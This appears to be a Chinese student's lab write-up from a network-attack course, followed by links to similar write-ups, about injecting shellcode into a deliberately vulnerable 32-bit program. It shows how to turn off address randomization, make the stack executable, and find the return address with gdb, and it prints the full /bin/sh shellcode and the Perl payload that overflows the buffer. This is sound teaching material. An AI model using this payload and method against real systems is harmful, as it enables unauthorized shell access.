注入Shellcode并运行攻击

一、实验步骤

1.安装execstack并修改设置

  • 安装execstack apt-get install execstack

  • 设置堆栈可执行 execstack -s 20154305

  • 查询文件的堆栈是否可执行 execstack -q 20154305

  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

  • 查询地址随机化是否关闭more /proc/sys/kernel/randomize_va_space

0代表关闭,2代表开启

2. 构造攻击buf

本实验采用 retaddr+nop+shellcode 方法

  • 由以上两阶段实验已经知道pwn1文件的foo函数字符串缓冲大小为32Byte

  • 采用老师提供的shellcode 的代码 \x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

-用perl语言输入代码 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    3. 确定返回地址的值

  • 将写好的代码通过管道方式输入给程序20154305中的foo函数进行覆盖 (cat input_shellcode;cat) | ./20154305

此处应注意,输入完指令只需要按一次回车,然后我们需要打开另一个终端

  • 打开另外一个终端,用gdb来调试pwn1这个进程

  • 首先找到20154305程序的进程号ps -ef | grep 20154305

  • 启动gdb调试这个程序 gdb attach 2041

通过ps指令可以看到20154305程序有两个进程号:2041和2088,2041为上一个终端打开时的调用,故我们attach 2041进行调试

  • 设置断点来查看注入buf的内存地址disassemble foo

ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了

  • break *0x080484ae设置断点

  • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来

  • 再在gdb调试的终端输入 c 继续运行程序

  • 通过info r esp查看esp寄存器的地址

  • 上图可以看到 01010304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0

  • 退出gdp调试。

4. 修改注入代码的覆盖地址

输入
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(cat input_shellcode;cat) | ./20154305

至此,已经能够成功运行我们注入的shell代码,实验成功。

二、实验总结

实验到此为止,已经通过三种方法对源程序pwn1进行攻击,直接修改指令是最容易也是最容易理解的,后两个方法都是通过缓冲区溢出覆盖返回地址达到跳转到目的代码的目的。利用了程序没有进行越界检查的漏铜,通过Bof攻击达到某些目的,可见程序的漏洞对我们的危害十分大,可能泄露我们电脑上的任何信息,因此我们要特别加强信息安全方面的防范。

方法三的实验环境是比较开放的,关闭了地址随机化等,难度大大降低,希望能够在以后的学习中学到更难的攻击方法,当然如老师所言,学习到思路和方法才是最重要的。

注入Shellcode并运行攻击的更多相关文章

  1. 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

    20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...

  2. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  3. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  4. 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击

    20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...

  5. 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...

  6. 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结

    20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...

  7. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  8. 20145327《网络对抗》——注入shellcode并执行和Return-to-libc攻击深入

    20145327<网络对抗>--注入shellcode并执行 准备一段Shellcode 老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 ...

  9. 逆向与BOF基础——注入shellcode并执行&Return-to-libc

    逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...

随机推荐

  1. python入门(十四):面向对象(属性、方法、继承、多继承)

    1.任何东西1)属性(特征:通常可以用数据来描述)(类变量和实例变量)2)可以做一些动作(方法) 类来管理对象的数据.属性:类变量和实例变量(私有变量)方法:    1)实例方法    2)类方法   ...

  2. Win10 远程桌面连接出现“要求的函数不受支持”的解决办法之修改注册表

    问题起因 笔者自己在阿里云上搞服务器,有一台 Windows Server 必须通过远程桌面连接来管理,由于没能完全关掉 Win10 自带的烦人的系统更新,导致昨天安装完更新后出现了连接远程桌面时“要 ...

  3. 利用百度编辑器和IIS限制文件上传的大小

    1.百度编辑器的大小限制 针对不同的文件类型限制大小 例如图片是imageMaxSize ,依次类推 /* 前后端通信相关的配置,注释只允许使用多行方式 */ {     /* 上传图片配置项 */ ...

  4. CentOS7+CDH5.14.0安装全流程记录,图文详解全程实测-总目录

    CentOS7+CDH5.14.0安装全流程记录,图文详解全程实测-总目录: 0.Windows 10本机下载Xshell,以方便往Linux主机上上传大文件 1.CentOS7+CDH5.14.0安 ...

  5. springmvc接收ajax传递的数组

    之前的方法我用字符串拼接.req.getParameter("参数名[]");或json方式.虽然都能用,但是都不太令我满意. 今天参考这个贴子,ajax添加 traditiona ...

  6. unity fbx 导出动画

    public class ActionConvetTool { [MenuItem("ActionTools/动作处理")] public static void ActionCo ...

  7. 自学elastic search

    工作也有一段时间了,虽然来这个公司之后学会了几门不同的语言,但想拨尖还是任重道远. 想往高级程序员甚至是架构师方向发展.他仍然是我的学习对象.我现在做着的,无非是他玩剩下的罢了. luncene之前有 ...

  8. zxlizsm

    好久没发表了,毕业之后就没回来过!

  9. 用Python语言开发VTK程序的步骤

    在Windows环境下用Python语言开发VTK程序 1.安装Python集成开发环境IDLE:下载地址:https://www.python.org/downloads/ 2.然后到VTK官网下载 ...

  10. 旅游类的APP原型模板分享——Priceline

    Priceline是一款旅游服务的APP应用.功能有查找预订酒店.车票.机票等服务. 本原型由国产Mockplus(原型工具)和iDoc(智能标注,一键切图工具)提供. 先简单看看动图: 点击这里,可 ...